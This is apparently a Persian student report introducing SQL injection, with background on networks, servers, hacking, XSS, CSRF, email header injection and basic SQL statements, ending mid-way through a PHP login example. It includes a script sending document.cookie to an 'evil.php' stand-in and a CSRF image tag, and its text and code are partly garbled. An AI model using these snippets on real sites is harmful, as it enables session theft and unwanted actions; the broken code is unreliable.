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 چکیده

 

ه در کدهند ها را تشکیل میبخش عمده ای از صفحات وب سایت )  Dynamicامروزه صفحات پویا 

یگاه داده و با ، اطلاعات مورد نظر را پس از اعمال به پاSQLبسیاری از موارد با استفاده از دستورات 

، روشی SQL تزریق کد دستورات یا همان  SQL Injectionدهند.استخراج از آن، مورد استفاده قرار می

بارات خاص دهد، که از طریق وارد کردن عاین اجازه را می SQLاست که به یک فرد آشنا به دستورات 

SQL و قادر انگاه بجای داده های عادی، ساختار پایگاه داده مورد استفاده آن سایت را بدست آورد و آ

 قدام کنددید اعات موجود و نیز درج اطلاعات جعلی جخواهد بود که نسبت به سرقت، تغییر و یا حذف اطلا

ده، آن را از کار یابد که ضمن رخنه به درون سرور پایگاه دامی   علاوه بر این فرد مهاجم این امکان را

 بیندازد.

 WebServerعمدتاً توسعه گران وب، بیشتر تمرکز خود را بر روی موارد امنیتی سیستم عامل و یا 

ز انند. یکی کجه میهای امنیتی موجود در کدهای خود توهای خود قرار دادند و کمتر به حفرهمیزبان برنامه

ا تهدید کند حملات رکنند ( دریافت می Dataهایی را که از کاربر، داده ) تواند سایتمواردی که همواره می

SQL Injection  یا تزریق دستوراتSQL  است.تزریق کدSQL ازد سا قادر میروشی است که مهاجم ر

که  )مه نویس غیرمجاز را با بهره گیری از ضعف عدم کنترل داده های ورودی توسط برنا SQLتا دستورات 

جه و د.نکته  قابل توکند ( در پایگاه داده اجرا کنپویای خودش استفاده می SQLها در عبارات از این ورودی

رورهای )همان پورتی که س 80شماره  Portق از طری  SQLدر خور اهمیت این است که تزریق دستورات

شود و انجام می ها استفاده میکنند( Clinet ها از آن برای ارسال و دریافت اطلاعات به مرورگروب سایت

 .های امنیتی قادر به تشخیص و جلوگیری از آن نیستندبنابراین فایروال ها و دیگر سیستم

 های کلیدیواژه

SQL Injection, SQL, Dynamic.تزریق کد ، 
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  شبکه 1-1

 درک آن سخت خواهد بود. شبکه "شبکه"ی است بنابراین بدون دانستن معنای اینترنت یک شبکه جهان

 )Network( شود که باهم در ارتباط بوده و قادر به انتقال به تعدادی کامپیوتر متصل به هم گفته می

 .ها و اطلاعات هستندداده

 نی. از اشودیم دهید یترکمش یاهیکه به هم متصل هستند عموماً توابع پا انهیرا یشتریدر مورد تعداد ب

« ارتباطات»، «اتصالات»فراهم گردد،  یستیبا هیاول ازیعمل کند، سه ن اشفهیبه وظ یاآنکه شبکه یبابت برا

که بواسطه آن  کندیاشاره م یاشاره دارد، ارتباطات به روش یافزاراتصالات به بستر سخت«. خدمات»و 

شبکه به اشتراک گذاشته  یاعضا هیبق یهستند که برا ییصحبت کنند و خدمات آنها گریکدیبا  لیوسا

 ]2[. اندشده

 اینترنت  1-2

های پروتکل ای ازمجموعه  ای به هم پیوسته است که ازهای رایانهای جهانی از شبکهاینترنت سامانه

 از که است هاشبکه ای ازکنند. به عبارت دیگر اینترنت، شبکهبرای ارتباط با یکدیگر استفاده می یاینترنت

 و جهانی تا کوچک و محلی هایاندازه رد دولتی و تجاری دانشگاهی، عمومی، خصوصی، شبکه هامیلیون

. اندشده متصل هم به نوری و الکترونیکی هایفناوری از وسیعی آرایه با که است شده تشکیل بزرگ بسیار

 وب ترین آنهاکه برجسته باشدمی ایمنابع اطلاعاتی و خدمات گسترده برگیرنده در اینترنت

تحقیقاتی و موسسات متعدد، نیازمند لمی و ها، مراکز عهستند. سازمان )ایمیل(رایانامه و گسترجهان

، انجام تحقیقات و یا استفاده انپیوی ، دستیابی از راه دورگاهوب دستیابی به شبکه اینترنت برای ایجاد یک

 های ارتباطی سنتی مانند تلفن و تلویزیون نیز با استفاده، هستند. بسیاری از رسانه)ایمیل(ایانامهر از سیستم

از طریق  صدا انتقال اند و خدماتی جدید همچوناند ویا دوباره تعریف شدهشکل دادهاز اینترنت تغییر 

. انتشار ه استظهور کرد  و تلفن های هوشمند تلویزیون  مخصوص، روی  هایپروتکل اینترنت و توسط

است. اینترنت اشکال جدیدی از تعامل تغییر شکل داده تنوشوب و خوراک وب ،گاهوب روزنامه نیز به صورت

 ]2[.استبه وجود آورده های اجتماعیشبکه و تالار گفتگو ،رسانی فوریپیام ها را از طریقبین انسان
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 صفحات وب  1-3

ها و صفحات اینترنتی است. در توان گفت مهمترین استفاده از شبکه اینترنت، دسترسی به سایتمی

شود که گفته می )Web (وب، Google.comمانند سایت ها و اینگونه صفحات اینترنتی مجموع به سایت

برداشته شده است. نحوه کار سرویس جهانی وب به این  World Wide Web مخفف WWW از عبارت

صورت است که در سرتاسر جهان سرورهایی )کامپیوترهای متصل به شبکه که با کامپیوترهای شخصی 

کنند. کاربر که با استفاده از ها عمل میتفاوت دارند( دائماً به اینترنت وصل هستند که به عنوان میزبان سایت

اینترنت اکسپلورر، گوگل کروم، موزیلا فایرفاکس و ...( به صورت خودکار درخواست  مانندگر خود )مرور

های مربوط به کند، درواقع به آن سرور وصل شده و سرور دادهای از یک سایت را میمشاهده صفحه

. دهدمی نمایش ربرانکا به را صفحات این نیز مرورگر نهایت در کنندمی ارسال مرورگر به را نظر مورد صفحه

 ]2[.پذیردانجام می HTTP مثل هاییپروتکل از استفاده با انتقال و نقل این

 

 وب سایت 1-3-1

 در را صفحات از بیشتری تعداد یا صفحه یک که شود می گفته اینترنت در مکانی به اصطلاحاً سایت وب

به  هستند، خاصی مکان به متعلق که رنتاینت در صفحات از ای مجموعه به دیگر بیان به. است داده جا خود

 و دارد قرار سرور نام به کامپیوتری روی بر عموماً ها سایت وب محتویات. شود می گفته سایت وب اصطلاح

 از بیشتری تعداد یا یک تواند می سرور هر. دهند می تشکیل را وب جهانی شبکه سرورها، از ای مجموعه

 ]6[.دهد جای خود درون را ها سایت

 

 سرور 1-4

سرور یک کامپیوتر همیشه روشن و همیشه در دسترس است، زمانی که این دسترسی تنها در محددوده 

و به این معنا خواهد بود که تمامی کامپیوتر هدای  گویندشد، آن را سرور تحت شبکه مییک شبکه داخلی با

   خدود را بده کمدک آن تدامین شدبکه موجود در این شبکه از این کامپیوتر فرمان می گیرند و نیازهای تحت
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نماید، حال اگر گستره این شبکه را کمی بیشدتر نمدائیم، و آنها را در شبکه تعیین می کنند و سرور نقشمی

آن را متشکل از تمام کامپیوتر هایی که از طریق اینترنت به هم وصل شده اند بدانیم، با گروه بسیار بزرگی از 

در دسترس از طریق اینترنت روبرو هستیم کده بده آنهدا سدرور هدای  کامپیوتر های همیشه روشن و همیشه

اینترنتی گفته می شود و وظیفه دارند تا اطلاعاتی که در هدر زمدان از شدبانه روز، بدر روی پهندای اینترندت 

 :جستجو می کنید را برای ملاحظه شما در اختیار قرار دهند. بنابراین به دو دسته بندی کلی دست می یابیم

 دهد.( : کامپیوتری که سرویس می Server) سرور 

 گیرد.( : کامپیوتری که سرویس می Clientکلاینت ) 

 

 شبکه و سرور  امنیت  1-4-1

خصوصی در  صورت بعضی افراد به و شغل خود تعدادی برای هستند، آنلاین روز طی در نفر هزاران

 یبه وسیله سرورها یهمه پیش نامند. سالمی نتیاینتر انفجار را اینترنت رشد این .باشنداینترنت آنلاین می

 ولی. سرور امنیت:  دادند می اهمیت چیز همه از بیش مساله یک به که شدند،می مدیریت تکنسین ها

 که شوندمیپیدا  ی کمیعده هامیان آن که شوندمی مدیریت معمولی ست افرادبه د سرورها امروزه اکثر

 معجزه طرز به سرورها گونهاین آمار. داشته باشند سرورها را کردن از افظتمح یدرباره در کافی اطلاعات

 و کنندمی تشویق راه این به رو مردم بزرگ هایشرکت مدیران هم باز این وجود با. است افزایش به رو آسایی

 . است امن اینترت ادعا دارند که

 

 راهکار های امنیت شبکه 

 موسسات و ها سازمان در موجود کامپیوترهای تا منازل در موجود کامپیوترهای از کامپیوترها تمامی

 ساده هایروش برخی از استفاده و لازم تدابیر انجام با. هستند امنیتی تهدیدات و آسیب معرض در بزرگ،

 تمامی رغمعلی. داد انجام خود کامپیوتری محیط سازیایمن خصوص در را ایاولیه و لازم پیشگیری توانمی

 تعداد مقابل در را ایدریچه مربوطه، هایآوریفن همراه به عظیم شبکه این اینترنت، دستاوردهای و مزایا

www.collegeprozheh.ir           کالج پروژه



 

5 

 گشوده ،...(  و موسسات ها،سازمان ها،خانواده افراد،) کنندگاناستفاده تمامی برای امنیتی تهدیدات از زیادی

 قرار آسیب معرض در. بود متفاوتی بنامطلو نتایج انتظار در بایست می حملات، ماهیت به توجه با. است

 تهاجم برای کاربران کامپیوتر از استفاده و کاربران خصوصی حریم به تجاوز حساس، اطلاعات و هاداده گرفتن

 موجود، هایآوریفن آخرین از گیری بهره با که است مهاجمانی اهداف جمله از کامپیوترها، سایر علیه

 سازیایمن اطلاعات، امنیت موضوع به بایستمی بنابراین،. نمایندمی بالفعل و سازماندهی را خود حملات

 آنان، سازی مقاوم جهت در متفاوتی فرآیندهای از و شده جدی توجه کامپیوتری، هایشبکه و کامپیوترها

 .نمود استفاده

 

 

 انواع امنیت  1-4-2

 شکستن قابل فیزیکی، سترسید وجود با امنیتی طرح گونه هر اینکه به توجه با :فیزیکي  امنیت -1

 مدیر به آنها نمودن برطرف برای گزارشی و گرفته صورت لازم کارشناسی هایبررسی زیر هایدرحوزه است،

 :گردد می ارائه شبکه

 هافایروال و روترها ها،سوئیچ سرورها، فیزیکی امنیت  

 کاری هایایستگاه فیزیکی امنیت 

 سیمبی و سیمی ارتباطات فیزیکی امنیت  

 کاربران به مختلف های سرویس ارائه منظور به سرورهایی یا سرور سازمان، هر در :سرورها  امنیت -2

 های فعالیت در اخلال ایجاد از مانع خاص امنیتی تنظیمات گرفتن نظر در با باید جهت بدین. دارد وجود

 .شویم آنها مهم

 کاربرانی کامپیوترهای امنیتی، مشکلات زبرو دلایل ترینمهم از یکی :کاری  هایایستگاه امنیت -3 

 تمام روی بر باید نتیجه در هستند، کار به مشغول شبکه در لازم امنیتی تنظیمات بدون که است

 بر سرور طریق از نیز امنیتی تنظیمات آن بر علاوه و شود اعمال خاص امنیتی تنظیمات کاری هایایستگاه

 . گیرد انجام ارخودک صورت به کاری هایایستگاه این روی

 با باید نتیجه در. است امنیتی تهدیدات ترینمهم از سازمانی اطلاعات نشت: ارتباطات  امنیت -4

 آن بستر که ارتباطاتی و شود امن سازمان سیم بی ارتباطات جمله از ارتباطات تمام مناسب، پیکربندی
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 IPSec مانند امنیتی هایپروتکل از تفادهاس با رمزنگاری صورت به است، اینترنت مانند امنی نا هایشبکه

 . گردند سازییمنا

. ماندمی باقی ناامنی مشکل همیشه شبکه، ساختار نشدن اصلاح صورت در:  شبکه ساختار امنیت -5

 هایایستگاه سرورها، اینترنت، شبکه مانند مختلف نواحی جداسازی مناسب، بندی ناحیه با باید نتیجه در

 این بین عبوری ترافیک باید مجاز، غیر هایدسترسی و حملات از جلوگیری برای. پذیرد امانج...  و کاری

 .گردد کنترل هافایروال توسط نواحی

 سازمان، شبکه در امنیت ایجاد از ترمهم :امنیتي هایدستورالعمل و ها مشي خط مستندسازی -6 

 کشی،کابل شبکه، فیزیکی و منطقی هاینقشه :مانند اطلاعاتی رواین از. باشدمی امنیت تداوم و حفظ

 و نگهداری برای هاییدستورالعمل باید همچنین. شد خواهد مستند ها،عاملسیستم و تجهیزات پیکربندی

 . گردد ارائه گیریپشتیبان مانند سازمان شبکه با مرتبط هایفعالیت و هاسرویس و تجهیزات بازبینی

 شبکه مدیر برای لازم آموزش و ابزار باید سیستم، صحیح عملکرد از اناطمین برای :امنیتي  نظارت -7

 . شود ارائه هاlog تحلیل و بررسی و شبکه کنترل و اسکن جهت سازمان

 0اطلاعات و شبکه امنیت حفظ در سازمان پرسنل مهم نقش به توجه با: سازیفرهنگ و آموزش -8

 آموزشی هایدوره برگزاری با امنیتی، مسائل مورد در نیف دانش سطح ارتقاء برای لازم هایآموزش سازمان،

 ]2[.گرددمی انجام سازمان در کاربران و راهبران دوسطح در

 

 نفوذ ) هک (   1-5

 نوعی به گیرد انجام کامپیوتری و شبکه امینتی سیستم یک در نفوذگر )هکر( توسط که نفوذ نوع هر

 سیستم به غیرمجاز دسترسی و کامپیوتری هاییستمس به نفوذ معنی به هک یواژه شودمی گفته هک

 شامل کامپیوتری سیستم یک به نفوذ. شودمی گفته هکر دهدمی انجام را کار این که شخصی به. باشدمی

 های سیستم به که است شخصی هکر. دارد نیاز بالایی تجربه البته و است کنندهخسته و طولانی عملیاتی

 به که طور همان. هکرهاست به مفهوم ترین نزدیک حال عین در و معنا ترین ساده این کند، نفوذ ای رایانه

 نفوذ برای زیادی اطلاعات نیز هکرها شودمی افزوده روز به روز اطلاعات فناوری بعد در جدید فنون و علوم

 جوان یک و باشد کاربرد و نویسی برنامه خطاهای از ناشی تواندمی حالت ترین ساده در هک. کنندمی پیدا

 تشکیل را کاربران از وسیعی طیف هکرها امروزه. شود هکر یک تواندمی رایانه دانش از اطلاع کم و کنجکاو
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 هک مفهوم. هستند فعالیت به مشغول مشاوره و سیستم مدیر مقام در حتی ها آن از بعضی که دهندمی

 ارتباط و الکترونیکی ابزارهای از استفاده هک مفهوم ابتدا در. است تغییرکرده همواره رایانه پیشرفت همپای

 دست به برای افزاری نرم کارشناسان توسط مدتی از بعد که بود ها آن از رایگان استفاده برای تلفن نظیر

 نفوذ یا رایانه اطلاعات به غیرمجاز دستیابی به هک حاضر حال در. کرد تغییر ها برنامه اطلاعات و کد آوردن

 کاربران عنوان به هکرها است، مخرب گاهی و قانونی غیر کار این که این به توجه با .شود می گفته شبکه در

 تصور گذشته، در. شدند مشهور ایرایانه تروریست عنوان به سپتامبر 11 حملات از پس حتی و خطرناک

 است حالی در این اما برند،می سرقت به را اطلاعات شوند، ردیابی که آن بدون هکرها که بود آن بر عمومی

       هک. کنند شناسایی نیز را هکر فرد حتی نیز و شدن هک نحوه توانندمی رایانه امنیت کارشناسان که

 یا شخصی اطلاعات یا عبور کلمات توانندمی هکرها دیگر، عبارت به باشد، ای حرفه یا شخصی جنبه تواندمی

 امور در دخالت مانند کنند، ایجاد خطراتی ملی امنیت برای بالاتری سطح در یا و ببرند سرقت به را شرکتی

 از بسیاری دارند، ناراحت و منزوی افراد عنوان به هکرها از مردم که تصوری برخلاف .…و مالی و ارتباطی

 کار این به دست قدرت، احساس یا گروهی کار حس ارضای دلیل به و هستند خلاق و باهوش افراد هکرها

 زنند.می

 ی نفوذ انواع روش ها 1-5-1

امروزه با گسترش روز افزون ارتباطات، امکان نفوذ از سیستمی به سیستم دیگر و در مجموع، ورود غیر 

آید. بارها رد امری نسبتاً طبیعی به حساب میمجاز به سیستم یا شبکه ای که فرد حق ورود به آن را ندا

ر از جایی که خود قرار تای بسیار دورای در نقطه، وارد سیستم یا شبکهپیش آمده است که فرد یا افرادی

خطاب  (Hacker) اند و بعضاً خرابکاری هایی نیز انجام داده اند. چنین افرادی معمولاً هکرهشد، داشته اند

شود. هکر معمولاً شخصی باهوش نامیده می (Hack) شده و همچنین عملی که آن ها انجام میدهند هک

خواهد آن را هک کند، هک کردن را ای که میسیستم یا شبکه لی نسبت به ساختاراست و با دانش قب

 .دهدصورت می
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XSS  1-5-1-1  

نفوذگر، از طریق صفحات سایت شما اجرا  توسط این حمله کدهای اسکریپت سمت کلاینت مورد نظرِ

یت ی مستقیم به خود ساااین حمله شوند.تزریق می وب در صفحات اسکریپت ها  به عبارت دیگرشوند. می

های لاگین یا سشن کاربران محتویات کوکی تواننیست، بلکه حمله به کاربران سایت است و با این روش می

یا درصورتی که اطلاعات مهم  و لاگین کند تواند بجای کاربرانرا سرقت کرد و نفوذگر بعد از اینکار می

 .انجام خواهد داد یگری همهای داز آن اطلاعات سوء استفاده دیگری نیز در کوکی ها موجود باشد

<script type="text/javascript"> 

var adr = '../evil.php?cakemonster=' + escape(document.cookie); 

</script> 

XSRF  1-5-1-2  

 در تواندمی باشد موضوع متوجه کاربر اینکه بدون کاربر عملیات از سمتی این حمله یک دستوربوسیله

 سایت از آدرسی شود، متوجه اینکه بدون کاربر یعنی. شود اجرا است لاگین آن در ربرکا احتمالا که سایتی

 حمله این کند.ی باز میدیگر سایت ظاهر تحت خودش مرورگر در دهدمی انجام خاصی عملیات که را هدف

 .دهدمی قرار هدف را کاربر و نیست سایت به مستقیم حملات دسته از نیز

<img src="http://yoursite.com/delete_post.php?id=23611" / 

Header Injection  1-5-1-3  

 در مربوطه ورودی در را خودش ایمیل کاربر و کننداین حمله به فرمهای تماسی که از ایمیل استفاده می

   درج  mail تابع هدرهای قسمت در کردن سنجی اعتبار بدون ایمیل آدرس این بعد و کندمی وارد فرم

خواهند ایمیل توانند از طریق فرم تماس شما به هر شخص دیگری که میی این روش میبوسیله شود کهمی

ارسال کنند و این ایمیل از طرف سایت شما ارسال خواهد شد، بنابراین به این طریق مسئولیت هر عملی به 

ست اقدام به فریب و از طرف سایت شما توانند با ایمیل های جعلی که ظاهراًباشد و ضمنا میعهده شما می
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 ممکن ضمیمه و کرد ارسال هم ضمیمه دارای های ایمیل توانکلاهبرداری از کاربران بکنند. با این روش می

 .باشد جاسوسی برنامهء یک اجرایی فایل دارای است

http://www.nyphp.org/phundamentals/8_Preventing-Email-Header-Injection 

 

SQL Injection 1-5-1-4  

های دیتابیس اجرا شده و برای اجراء کوئری های دلخواه نفوذگر، استفاده ین حمله برای نفوذ در کوئریا

 د.شومی

http:// www.example.com/show.php ? SELECT * FROM users WHERE name = 

'"+userName+"'; 

 

 شود.می پرداخته Injection SQL روش بررسی به نوشتار این در

 

 ( :SQL Databaeداده  ) پایگاه  1-6

ای از اطلاعات با ساختار به مجموعه )basedata( بانک اطلاعاتی یا پایگاه داده یا دیتابیس :پایگاه داده

 و خواندن قابل ها رایانه و ها دستگاه برای که قالبی در معمولاً  اطلاعاتی های پایگاه این .شودمی گفته منظم 

 .شوندباشند ذخیره می دسترسی قابل

 و داده پایگاه یک به نیاز وب جهانی شبکه در پویا های سایت وب طراحی با گسترش  : SQL پایگاه داده

 فرایند یک ها داده پایگاه مدیریت. شودمی احساس بزرگ برای مدیریت محتوا  )database(اطلاعاتی  بانک

 .این نیاز برطرف شده است SQL نویسی برنامه زبان و برنامه با توجهی قابل طور به که است، پیچیده

        ای سازمان یافته از اطلاعات است. این واژه از دانش رایانه سرچشمهپایگاه داده در اصل مجموعه

ایگاه داده )که ای است که مرکز اروپایی پمی نیز دارد، این وسعت به اندازهاما کاربر وسیع و عمو ،گیردمی

         کند( شامل تعاریف غیر الکترونیکی برای پایگاه دادهه ایجاد میای برای پایگاه دادتعاریف خردمندانه

 ]8[. شودبرای این اصطلاح محدود میباشد. در این نوشتار به کاربرد های تکنیکی می

www.collegeprozheh.ir           کالج پروژه



 

10 

یک ای از رکورد های ذخیره شده در رایانه با یک روش سیستماتپایگاه داده مجموعه ،به عبارت دیگر

تواند به سوالات کاربر پاسخ دهد. برای ذخیره و بازیابی بهتر، ای است که میه رایانه)اصولی( مثل یک برنام

 .گرددده ای یا رویداد ها سازماندهی میای از اجزای دامجموعههر رکورد معمولا به صورت 

 : این بخشها شامل موارد زیر است های مختلفی تشکیل شده است،از قسمت SQLدر  پایگاه داده هر

 Table 

 View 

 Stored procedre 

 Function  

 و ... 

Table - 1-6-1 جدول 

 تواندمی atabaseD هر. شوندمی ذخیره ها ableT یا جدول داخل داده پایگاه یا دیتابیس در ها داده

 در ها ستون تمام برای. است شده تشکیل ستون و سطر تعدادی از جدول هر .باشد ableT چندین شامل

 هر درون که مقدارهایی ، کنید تعریف را خود نظر مورد نوع توانیدمی آن کارکرد نوع به بسته دیتابیس

 از است ایمجموعه یک جدول. باشد داشته مطابقت ورودی انتخابی نوع با بایستی شودمی ذخیره ورودی

 مهمترین جداول. است شده تشکیل ها ردیف و ها ستون از که هم به وابسته و مرتبط شده ثبت اطلاعات

 قرار استفاده مورد اطلاعات یافته سازمان نگهداری و ذخیره برای که هستند، داده پایگاه های سیستم عناصر

 . گیرندمی

 .است شده تشکیل مختلف جداول از داده پایگاه یک جدول بخشی از پایگاه داده است. توجه :
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 )فیلد( Field -ستون  1-6-2

 آن مقدار و خصوصیت ورودی هر .گویندمی )Field( ورودی جدول یک ستون های خانه از کدام هر به

 که باشدمی موجودیت برای ویژگی و صفت یک یبرگیرنده در ورودی هر عبارتی به .کندمی مشخص را

 :باشد می اصلی جزٍ دو دارای

 .کند می تعیین را نظر مورد صفت نام : خاصه صفتنام 

 .ستا نظر مورد صفت برای مقدار شامل : خاصه صفت

 Record -سطر  1-6-3

 درباره شده بندی طبقه اطلاعات شامل ها رکورد این .گویندمی  )Record ( رکورد جدول سطرهای به

 خواهیممی که است داده پایگاه محیط در فردی یا شئ پدیده، موجودیت .است خاص موجودیت یک

 . کنیم نگهداری را آن به مربوط اطلاعات

 ، دانشجو:  از عبارتند ها موجودیت انواع آموزشی، محیط یک داده پایگاه حیطم در مثال طور به : مثال

 .. . و دانشکده ، استاد ، درسی واحدهای ، کلاس

 : SQLدستورهای  1-7

 SELECTدستور  1-7-1

باشد که برای انتخاب و دیدن می SQL این دستور جزء ابتدایی ترین دستورات مربوط به پایگاه داده

دیدن آنها استی از یک جدول در پایگاه و یا چندین جدول و در نهایت ادغام کردن اطلاعات و اطلاعات درخو

 .شوددر یک جدول استفاده می
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 : فرمت کلی این دستور به صورت زیر است

Select نام ستون یا ستون های مورد نظر  

From نام جدول  

 : 1-1مثال 

SELECT UserName,Password 

FROM Tbluser 

 

  WHERE  دستور 1-7-2

جستجو به صورت دقیق تر به کار این دستور برای افزودن شرط یا شرط هایی برای محدودیت نتایج 

و ...  OR و AND توان از عملگرهایبه کار رود ضمناً می Select باید بعد از where دستور د.رومی

  .هم ادغام نمود استفاده نمود و توسط این عملگرها و علامت پرانتز چندین شرط را با

 :  2-1مثال 

SELECT UserName,Password FROM Tbluser 

’WHERE UserName = ‘Amin’ and Password = ‘1234 

   

کند که را بازیابی می Tblرکوردی از جدول  Passwordو  UserNameاین دستور، تنها 

UserName  برابر باAmin  وPassword  باشد.می 1234آن برابر با 

  شود.شود از * استفاده می  : معمولا بجای اینکه اسامی تمام ستونهای جدول ذکر نکته

 :  3-1مثال 

’SELECT * FROM Tbluser WHERE Username = ‘Amin 
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 UserNameکند که را استخراج می Tbluserها( رکوردی از جدول ورودیاین دستور تمام ستونهای )

 باشد. Amin آن برابر با 

 UPDATE ر دستو  1-7-3

قدار با یک مقدار جدید از این دستور نیز برای تغییر اطلاعات موجود در یک فیلد و جایگزین کردن آن م

 .رودکارمیبه

 : فرمت کلی این دستور به صورت زیر است

Update  نام جدول 

Set  نام فیلد = مقدار جدید 

Where  نام فیلد = مقدار قبلی 

 

 : 4-1مثال 

UPDATE Tbluser 

’ET Password = ‘12345S 

’WHERE UserName = ‘Amin 

تغییر  12345آن به  Passwordاست،  ‘Amin’آن برابر با  UserNameبا این دستور، رکوردی که 

 خواهد کرد.

 12345برای تمام رکوردها برابر  Passwordرا از این جمله برداریم مقدار  WHEREنکته : اگر دستور 

 خواهد شد :

’r SET Password = ‘12345UPDATE Tbluse 

  DELETEدستور   1-7-4

 شود.از این دستور برای حذف تمام با بخشی از رکوردهای یک جدول استفاده می

 : فرمت کلی این دستور به صورت زیر است
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Delete From  نام جدول 

Where  نام و مقدار یک فیلد از رکورد مورد نظر 

 : 5-1مثال 

DELETE FROM Tbluser WHERE UserName = ‘Amin’ 

 

 شود :را حذف شود، تمام رکوردهای جدول حذف می WHEREنکته : اگر عبارت شرط 

DELETE FROM TblUser 
 

  INSETRدستور   5-7-1

 

 . برای وارد کردن و ایجاد یک رکورد جدید در جدول استفاده می شودINSERT از دستور

 : فرمت کلی این دستور به صورت زیر است

Insert into  نام فیلد ( نام جدول ( 

Values (  ، 2 مقدار 1 ، مقدار... )  

 : 6-1مثال 

INSERT INTO TblUser (UserName , Password) 

VALUES (‘Amin’,’1234’) 

 

آن برابر  UserNameافزوده شد، و محتوای  Tbluserبا این دستور، رکوردی به انتهای جدول 

‘Amin’  وPassword  خواهد شد. ’1234‘آن برابر 

 

  UNION دستور   1-7-6

گیرد و همه متفاوت اما با تعداد ستونهای انتخابی یکسان قرار می SELECTاین عملگر بین دو عبارت 

 کند.کنند را یکجا جمع میصدق می SELECTرکوردهایی را که در شرط یکی از دو 
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  : 7-1مثال 

SELECT Name From TblFootball 

From TblBaseball UNION SELECT Name 

کنند را یکجا بر دستور فوق اسامی تمامی بازیکنانی را که در تیم فوتبال یا بیسبال ) یا هر دو ( بازی می

 گرداند.می

پیام خطا  rverSQLse ،با هم متفاوت باشد SELECTچناچه تعداد ستونهای انتخابی در این دو  تذکر:

 دهد.می

  SUM ( )عبارت   1-7-7

 گرداند.جمع مقادیر عددی یک ستون از رکوردهای منطبق با شرط داده شده را بر می این تابع،

 

 : 8-1مثال 

 SELECT SUM (Connection_Time) As SUM_Connect FROM TblConnection 

’WHERE Connect_Date = ‘95/01/01 

 

ر متصل شده اند محاسبه به سرو 95با این دستور، مجموع زمانهای اتصال کاربرانی که روز اول فروردین 

 شود.و در قالب یک رکورد ) نه بیشتر ( برگردانده می SUM_Connectو تحت عنوان ستون 

توجه : این تابع روی ستونهای عددی قابل اعمال است و در غیر این صورت پیام خطا از سوی 

SQLserver شود.صادر می 

بعنوان توابع  SQLserverدر  AVRGEر و سایر توابع مشابه نظی SUMلازم به ذکر است که تابع 

 Aggregate Function شوند.)توابع تجمع (  نامیده می 
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  GROUP BY عبارت   1-7-8

، اگر نیاز بود که برای تمام روزهای سال، جمع زمانهای اتصال را محاسبه کنیم، باید برای تک 8در مثال 

اما با دستور زیر، اینکار  یر و دشوار خواهد بود.جداگانه نوشت که اینکار بسیار زمانگ SELECTتک روزها، 

 شود.به راحتی انجام می

 : 9-1مثال 

SELECT Connect_Date , SUM (Connection_Time) 

AS SUM_Connect FROM TblConnection 

GROUP BY Connect_Date 

  HAVINGعبارت   1-7-9

  بزرگتر است را بخواهیم،  1000مع از ، اگر جمع زمانهای اتصال برای روزهایی که این ج9در مثال 

 توانیم از دستور زیر استفاده کنیم.نمی

SELECT Connect_Date , SUM (Connection_Time) AS SUM_Connect 

FROM TblConnection GROUP BY Connect_Date 

WHERE SUM (Connection_Time) > 1000 

 

قرار داد. برای اینگونه  WHEREدر قسمت شرط توان ( را نمی SUM زیرا که توابع غول آسا )نظیر

 شود.استفاده می Havingموارد از عبارت 

 :  10-1مثال 

SELECT Connect_Date , SUM (Connection_Time) 

AS SUM_Connect FROM TblConnection 

GROUP BY ConnectDate 

HAVING SUM (Connection_Time) > 1000  
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شود که از متن صادر می SQLserverتی استفاده نشود، پیام خطایی از سوی اگر این عبارت به درس توجه :

 توان اطلاعاتی در مورد بانک اطلاعاتی بدست آورد.آن می

 ( ;سمي کالن ) )Colon-Semi (علامت  1-7-10

کند و را پایان یافته می SQLدستور  SQLserver، سمی کالن آورده شود، SQLاگر وسط جمله 

 دهد.جدید مورد بررسی قرار می ن را بعنوان  یک دستورله بعد از آجم

  --عبارت   1-7-11

گیرد. معمولا پس از ادامه دستور را در نظر نمی SQLserverاین عبارت بیاید،  SQLاگر وسط جمله 

شود تا توسط تهاجم، این عبارت به تنهایی یا به همراه سمی کالن افزوده می SQLتزریق عبارات 

SQLserver 5[.قیقاً خطای مورد نظر را بدهد و جلوی خطاهای دیگر گرفته شودد[ 
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 SQL Injectionتزریق کد  2-1

 حمله فرد آن در که است وب حملات از ( نوعی SQL Injection ) دیتابیس یا داده پایگاه به تزریق

 مورد سایت وب داده پایگاه روی بر خود بمخر و دلخواه دستورات کردن اجرا به اقدام تواندمی هکر یا کننده

!( ساده برنامه یک از استفاده با تنها یا) خود دانش از استفاده با کننده حمله حمله، این در. کند هدف

 به و کرده استفاده سایت نویس برنامه توسط شده نوشته کدهای در موجود امنیتی هاینقص از تواندمی

 دلخواه کد ،SQL کد به واقع در هکر حمله این در چون. کند (xploitEسوء استفاده ) را هاآن اصطلاح

 راحتی به تواندمی SQL Injection موفق حمله یک. است گرفته نام SQL تزریق کند،می اضافه را خود

 کردن اضافه ،...( و کاربران فردی اطلاعات عبور، رمزهای ازجمله) دیتابیس در مهم هایداده افشای سبب

 .گردد دیتابیس از خاص هایداده کردن حذف یا دیتابیس به کننده حمله دلخواه هایداده

 به طور کلی دو روش برای تزریق کد وجود دارد : نکته :

 

 (  Login Page تزریق کد در صفحه ورود کاربران ) -1

 ( QueryStringتزریق کد در رشته کوئری ) -2

 

 تزریق کد در صفحه ورود کاربران  2-2

برای کنترل کردن این امر که آیا مشخصات کاربر در  SQLصفحات ورود کابر، از عبارات پویای  عموماً

، مستقل از زبان برنامه SQLکنند. با توجه به اینکه جملات بانک اطلاعاتی وجود دارد یا خیر، استفاده می

رنامه نویسی خاصی محدود به نوع صفحات خاص یا زبان ب SQLنویسی تحت و است بنابراین حملات تزریق 

 نیست.

 باشد.می PHPتوجه: مثال به کار رفته در این نوشتار در قالب 
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 :11-2مثال 

”from action=”script.php” metod=”post< 

           Please Enter ”placeholder=” username”name=” text”input type=<

”>Your Username 

      Please Enter ”placeholder=” password”=name” password”input type=<

”>Your Password 

”>input type=”submit” value=”Login<       

>from</ 

 :خواهد بودزیر به شکل  cssداده شده به همراه  یکدها یخروج

 

 صفحه ورود کاربران -1-2شکل 

برای نام کاربری و دیگری است یکی  ورودیهمانطور که در کد فوق می بینیم، فرمی داریم که حاوی دو 

 برای رمز عبور. 

 : script.php است تحت عنوان PHP اکشنی هم که برای این فرم در نظر گرفته ایم یک فایل

session_start(); 

$username_set = false; 

$password_set = false; 

$username = $_POST['username']; 

$password = $_POST['password']; 

if (empty($username)) { 

    echo "<p class=\"error\">Please Enter your username</p>"; 

} else { 
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    $username_set = true; 

{ 

if (empty($password)) { 

    echo "<p class=\"error\">Please Enter your password</p>"; 

{ else { 

    $password = sha1($_POST['password']); 

    $password_set = true; 

{ 

